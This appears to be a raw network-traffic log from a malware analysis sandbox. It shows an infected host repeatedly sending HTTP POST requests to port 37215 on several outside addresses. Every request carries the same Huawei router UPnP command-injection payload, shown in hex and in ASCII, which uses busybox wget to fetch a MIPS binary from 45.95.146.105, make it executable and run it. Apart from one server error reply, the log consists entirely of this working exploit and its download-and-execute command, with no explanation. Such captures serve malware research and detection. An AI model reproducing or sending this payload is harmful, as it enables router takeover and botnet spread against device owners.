Jan 1, 2024 12:53:54.123971939 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:55.676528931 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:57.532730103 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:01.344505072 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:08.768502951 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:23.612554073 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:54.332669020 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.13	52674	41.47.106.231	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:54.148061037 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:54.478445053 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.13	48108	156.254.95.46	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:54.430130005 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
